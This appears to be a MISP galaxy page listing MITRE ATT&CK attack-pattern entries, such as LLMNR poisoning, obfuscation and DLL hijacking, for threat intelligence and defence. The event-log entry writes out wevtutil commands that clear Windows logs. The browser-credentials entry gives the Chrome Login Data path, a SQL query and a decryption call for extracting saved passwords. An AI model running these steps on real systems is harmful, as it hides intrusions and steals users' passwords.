This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)
The tag is: misp-galaxy:mitre-attack-pattern="Automated system performs requested action - T1384"
Links |
Eavesdrop on Insecure Network Communication - T1439
If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)
The tag is: misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439"
Distribute malicious software development tools - T1394
An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)
The tag is: misp-galaxy:mitre-attack-pattern="Distribute malicious software development tools - T1394"
Links |
Transfer Data to Cloud Account - T1537
An adversary may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.
A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.
Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)
The tag is: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537"
Links |
Review logs and residual traces - T1358
Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)
The tag is: misp-galaxy:mitre-attack-pattern="Review logs and residual traces - T1358"
Links |
Runtime code download and execution - T1395
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Runtime code download and execution - T1395"
Links |
Test malware to evade detection - T1359
An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)
The tag is: misp-galaxy:mitre-attack-pattern="Test malware to evade detection - T1359"
Links |
Replace legitimate binary with malware - T1378
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)
The tag is: misp-galaxy:mitre-attack-pattern="Replace legitimate binary with malware - T1378"
Links |
Compromise of externally facing system - T1388
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)
The tag is: misp-galaxy:mitre-attack-pattern="Compromise of externally facing system - T1388"
Links |
Jamming or Denial of Service - T1464
An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)
The tag is: misp-galaxy:mitre-attack-pattern="Jamming or Denial of Service - T1464"
Remotely Track Device Without Authorization - T1468
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google’s Android Device Manager or Apple iCloud’s Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location)
The tag is: misp-galaxy:mitre-attack-pattern="Remotely Track Device Without Authorization - T1468"
Links |
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html |
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html |
Remotely Wipe Data Without Authorization - T1469
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google’s Android Device Manager or Apple iCloud’s Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).
The tag is: misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469"
Install Insecure or Malicious Configuration - T1478
An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).
For example, an unwanted Certification Authority (CA) certificate could be placed in the device’s trusted certificate store, increasing the device’s susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device’s network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)).
On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device’s network traffic through an adversary’s system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).
The tag is: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478"
Aggregate individual’s digital footprint - T1275
In addition to a target’s social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target’s username can mine to determine the target’s larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)
The tag is: misp-galaxy:mitre-attack-pattern="Aggregate individual’s digital footprint - T1275"
Links |
Domain Generation Algorithms (DGA) - T1323
The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)
The tag is: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms (DGA) - T1323"
Links |
Unconditional client-side exploitation/Injected Website/Driveby - T1372
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit’s landing page. The exploit kit landing page will probe the victim’s operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)
The tag is: misp-galaxy:mitre-attack-pattern="Unconditional client-side exploitation/Injected Website/Driveby - T1372"
Links |
LLMNR/NBT-NS Poisoning and Relay - T1171
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)
Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)
Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)
The tag is: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171"
OS-vendor provided communication channels - T1390
Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)
The tag is: misp-galaxy:mitre-attack-pattern="OS-vendor provided communication channels - T1390"
Links |
Standard Non-Application Layer Protocol - T1095
Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
The tag is: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095"
Links |
http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29 |
Rogue Wi-Fi Access Points - T1465
An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).
The tag is: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465"
Links |
https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html |
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf |
Deobfuscate/Decode Files or Information - T1140
Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.
One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)
Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
The tag is: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"
Links |
Obtain domain/IP registration information - T1251
For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)
The tag is: misp-galaxy:mitre-attack-pattern="Obtain domain/IP registration information - T1251"
Links |
Assign KITs/KIQs into categories - T1228
Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)
The tag is: misp-galaxy:mitre-attack-pattern="Assign KITs/KIQs into categories - T1228"
Links |
Receive operator KITs/KIQs tasking - T1235
Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)
The tag is: misp-galaxy:mitre-attack-pattern="Receive operator KITs/KIQs tasking - T1235"
Links |
Data Transfer Size Limits - T1030
An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
The tag is: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"
Links |
Data from Local System - T1005
Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.
Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
The tag is: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"
Links |
File System Logical Offsets - T1006
Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)
The tag is: misp-galaxy:mitre-attack-pattern="File System Logical Offsets - T1006"
Indicator Removal on Host - T1070
Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .
Actions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.
Clear Windows Event Logs
Windows event logs are a record of a computer’s alerts and notifications. Microsoft defines an event as "any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log." There are three system-defined sources of Events: System, Application, and Security.
Adversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.
The event logs can be cleared with the following utility commands:
-
<code>wevtutil cl system</code>
-
<code>wevtutil cl application</code>
-
<code>wevtutil cl security</code>
Logs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).
The tag is: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070"
Exploitation of Remote Services - T1210
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.
There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)
Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.
The tag is: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"
Links |
System Network Configuration Discovery - T1016
Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](ifconfig(https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
The tag is: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"
Links |
Standard Application Layer Protocol - T1071
Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.
The tag is: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071"
Links |
Replication Through Removable Media - T1091
Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.
The tag is: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"
Links |
Exploitation for Client Execution - T1203
Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Several types exist:
Browser-based Exploitation
Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.
Office Applications
Common office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.
Common Third-party Applications
Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"
Links |
Change Default File Association - T1042
When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. For example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)
The tag is: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042"
File and Directory Discovery - T1420
On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.
iOS’s security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.
The tag is: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"
Links |
Data from Removable Media - T1025
Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.
Adversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.
The tag is: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"
Links |
Exfiltration Over Physical Medium - T1052
In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052"
Links |
Obfuscated Files or Information - T1027
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)
Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)
Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim’s system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim’s system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim’s machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)
The tag is: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"
Communication Through Removable Media - T1092
Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
The tag is: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092"
Links |
Modify Cached Executable Code - T1403
ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)
The tag is: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403"
Links |
https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf |
Credentials from Web Browsers - T1503
Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)
Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary’s objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).
The tag is: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503"
File and Directory Discovery - T1083
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Windows
Example utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.
Mac and Linux
In Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.
The tag is: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
DLL Search Order Hijacking - T1038
Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.
Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.
Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.
Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
The tag is: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038"
Deploy exploit using advertising - T1380
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)
The tag is: misp-galaxy:mitre-attack-pattern="Deploy exploit using advertising - T1380"
Links |
Detect App Analysis Environment - T1440
An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.
Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).
(Citation: Wang) presents a discussion of iOS anti-analysis techniques.
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Detect App Analysis Environment - T1440"
Detect App Analysis Environment - T1440 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
Links |
File System Permissions Weakness - T1044
Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
Services
Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.
Executable Installers
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)
The tag is: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044"
Links |
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/ |
Obfuscated Files or Information - T1406
